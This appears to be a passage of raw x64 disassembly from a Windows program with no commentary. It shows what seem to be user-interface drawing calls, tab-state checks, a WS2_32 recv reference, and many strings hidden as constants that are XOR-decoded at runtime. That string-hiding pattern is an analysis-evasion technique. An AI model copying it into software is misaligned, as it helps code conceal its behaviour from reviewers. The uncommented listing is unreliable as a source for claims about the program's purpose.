mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1900]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14014e164]
movss xmm1, dword [0x14014e06c]
lea rcx, [rbp + 0x728]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x730]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss dword [rsp + 0x20], xmm14
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x738]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x740]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x14004e0c2
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x748]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x14004e0fd
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x750]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x14004e138
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x758]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x14004e173
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x760]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004e1ae
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
movss xmm2, dword [0x14014e028]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x768]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x770]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa2f6971133bd9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1910], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1918], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1920], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1928], rax
movdqa xmm0, xmmword [rbp + 0x1910]
xorps xmm0, xmmword [rbp + 0x1920]
movdqa xmmword [rbp + 0x1910], xmm0
cmp dword [0x14038e7a0], 4
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1910]
call fcn.140036120
test al, al
je 0x14004e282
mov dword [0x14038e7a0], 4
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x778]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa4308552711c2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1930], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1938], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1940], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1948], rax
movdqa xmm0, xmmword [rbp + 0x1930]
xorps xmm0, xmmword [rbp + 0x1940]
movdqa xmmword [rbp + 0x1930], xmm0
cmp dword [0x14038e7a0], 8
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1930]
call fcn.140036120
test al, al
je 0x14004e34a
mov dword [0x14038e7a0], 8
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x780]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c2812d2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1950], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1958], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1960], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1968], rax
movdqa xmm0, xmmword [rbp + 0x1950]
xorps xmm0, xmmword [rbp + 0x1960]
movdqa xmmword [rbp + 0x1950], xmm0
cmp dword [0x14038e7a0], 9
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1950]
call fcn.140036120
test al, al
je 0x14004e412
mov dword [0x14038e7a0], 9
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1970]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0b8]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e140]
lea rcx, [rbp + 0x788]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e054]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x790]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x798]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5ac0307d680020c4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1980], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1988], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1990], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1998], rax
movdqa xmm0, xmmword [rbp + 0x1980]
xorps xmm0, xmmword [rbp + 0x1990]
movdqa xmmword [rbp + 0x1980], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x19a0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x7a0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1980]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xe99267c79053ac2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x19b0], rcx
movabs rax, 0xabe13b9d1595ae35
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x19b8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x19c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x19c8], rax
movdqa xmm0, xmmword [rbp + 0x19b0]
xorps xmm0, xmmword [rbp + 0x19c0]
movdqa xmmword [rbp + 0x19b0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x19d0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e0c4]
lea rcx, [rbp + 0x7a8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x19b0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rsi, qword [rbp + 0x178]
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e064]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x7b0]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x19e0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x19f0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1e8a1628681235db
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a00], rcx
movabs rax, 0xabe13bbd2ff0be31
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a08], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a10], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a18], rax
movdqa xmm0, xmmword [rbp + 0x1a00]
xorps xmm0, xmmword [rbp + 0x1a10]
movdqa xmmword [rbp + 0x1a00], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1a20]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x7b8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1a00]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x48ca712724507ba1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a30], rcx
movabs rax, 0xabe13b9d1595ca64
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a38], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a40], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a48], rax
movdqa xmm0, xmmword [rbp + 0x1a30]
xorps xmm0, xmmword [rbp + 0x1a40]
movdqa xmmword [rbp + 0x1a30], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1a50]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e0e0]
lea rcx, [rbp + 0x7c0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1a30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e074]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x7c8]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1a60]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1a70]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xfa9637b790c35d0
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x27c0], rcx
movabs rax, 0x91855ee967faba20
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x27c8], rcx
movabs rax, 0xce5c620a59692ba1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27d0], rax
movabs rcx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27d8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27e8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27f0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x27f8], rax
vmovdqu ymm0, ymmword [rbp + 0x27c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x27e0]
vmovdqa ymmword [rbp + 0x27c0], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1a80]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e08c]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x7d0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x27c0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f97224f3c0d38d6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a90], rcx
movabs rax, 0xabe13b9d1595ca23
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a98], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1aa0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1aa8], rax
movdqa xmm0, xmmword [rbp + 0x1a90]
xorps xmm0, xmmword [rbp + 0x1aa0]
movdqa xmmword [rbp + 0x1a90], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1ab0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e08c]
movss xmm1, dword [0x14014e104]
lea rcx, [rbp + 0x7d8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1a90]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e090]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x7e0]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1ac0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1ad0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e090]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x7e8]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1ae0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1af0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140016b70
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1b00]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e140]
lea rcx, [rbp + 0x7f0]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x7f8]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e0ec]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x800]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a8e3169681231c5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2800], rax
movabs rax, 0xd9844ffb54b58900
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2808], rax
movabs rax, 0xce5c0465361978a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2810], rax
movabs rbx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2818], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2820], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2828], rax
movabs rdi, 0xce5c620a59692b81
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2830], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2838], rax
vmovdqu ymm0, ymmword [rbp + 0x2800]
vpxor ymm1, ymm0, ymmword [rbp + 0x2820]
vmovdqa ymmword [rbp + 0x2800], ymm1
lea rdx, [0x140387194]
lea rcx, [rbp + 0x2800]
vzeroupper
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x149305286b0e3cc4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2840], rax
movabs rax, 0xceac1bf970fdb939
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2848], rax
movabs rax, 0xce5c626f3e0858f2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2850], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2858], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2860], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2868], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2870], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2878], rax
vmovdqu ymm0, ymmword [rbp + 0x2840]
vpxor ymm1, ymm0, ymmword [rbp + 0x2860]
vmovdqa ymmword [rbp + 0x2840], ymm1
lea rdx, [0x140387192]
lea rcx, [rbp + 0x2840]
vzeroupper
call fcn.140032240
call fcn.140016b70
movss xmm2, dword [0x14014e12c]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x808]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movss xmm2, dword [0x14014e030]
movss xmm1, dword [0x14014e0cc]
lea rcx, [rbp + 0x810]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1396227d68133dc1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b10], rcx
movabs rax, 0xabe13b9d1595af2a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b18], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b20], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b28], rax
movdqa xmm0, xmmword [rbp + 0x1b10]
xorps xmm0, xmmword [rbp + 0x1b20]
movdqa xmmword [rbp + 0x1b10], xmm0
lea rcx, [rbp + 0x1b10]
call fcn.140031280
test al, al
je 0x14004f113
mov dword [0x14038e7a0], 0xc
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1b30]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0b8]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e160]
lea rcx, [rbp + 0x818]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e054]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x820]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c6154d3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b40], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b48], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b50], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b58], rax
movdqa xmm0, xmmword [rbp + 0x1b40]
xorps xmm0, xmmword [rbp + 0x1b50]
movdqa xmmword [rbp + 0x1b40], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1b60]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x828]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1b40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e860]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a88266e730e24c4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b70], rcx
movabs rax, 0xabe13b9d66f2a51c
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b78], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b80], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b88], rax
movdqa xmm0, xmmword [rbp + 0x1b70]
xorps xmm0, xmmword [rbp + 0x1b80]
movdqa xmmword [rbp + 0x1b70], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1b90]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e14c]
lea rcx, [rbp + 0x830]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1b70]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1ba0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e160]
lea rcx, [rbp + 0x838]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x840]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e0ec]
movss xmm1, dword [0x14014e148]
lea rcx, [rbp + 0x848]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29da2f6971133bd9
